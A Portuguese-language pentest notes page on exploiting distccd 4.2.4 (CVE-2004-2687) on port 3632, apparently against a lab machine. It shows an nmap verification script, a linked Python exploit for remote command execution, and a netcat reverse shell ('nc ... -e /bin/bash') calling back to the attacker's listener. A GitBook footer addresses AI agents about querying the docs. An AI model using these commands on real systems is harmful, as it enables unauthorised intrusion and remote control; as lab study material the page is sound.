> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/distcc-3632.md).

# distcc - 3632

> O Distcc é uma ferramenta para acelerar o processo de compilação usando os recursos ociosos de outros computadores na rede. Quando configurado em uma máquina, ele pode distribuir suas tarefas de compilação para outros sistemas executando o daemon distccd e que tenham um compilador compatível.

#### Vulnerabilidade identificada

A versão 4.2.4 do distccd escuta na porta 3632 e é vulnerável ao CVE-2004-2687. Essa vulnerabilidade permite que um invasor execute comandos arbitrários com os privilégios do usuário sob o qual o daemon está sendo executado (geralmente um usuário sem privilégios, mas isso pode variar dependendo da configuração).

#### Verificação da vulnerabilidade

Confirme a vulnerabilidade com o seguinte script do Nmap:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

O resultado indica que o servidor é de fato vulnerável.

<figure><img src="/files/cf063a5a631ac39eb39796ebefcf4aae1713ebd7" alt=""><figcaption></figcaption></figure>

### Exploração

#### Executando um script em Python

Explore a vulnerabilidade com o seguinte script em Python:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Isso permite a execução arbitrária de comandos na máquina-alvo.

<figure><img src="/files/42ee50a53dfc8dfe71ae71630251702442fea13e" alt=""><figcaption></figcaption></figure>

#### Executando uma shell reversa

Escute na porta 443:

```bash
nc -nlvp 443
```

Execute o seguinte comando na máquina-alvo para estabelecer a conexão:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/cac00ed2b6c091f79385dcd039920cd8cb0ff2c9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
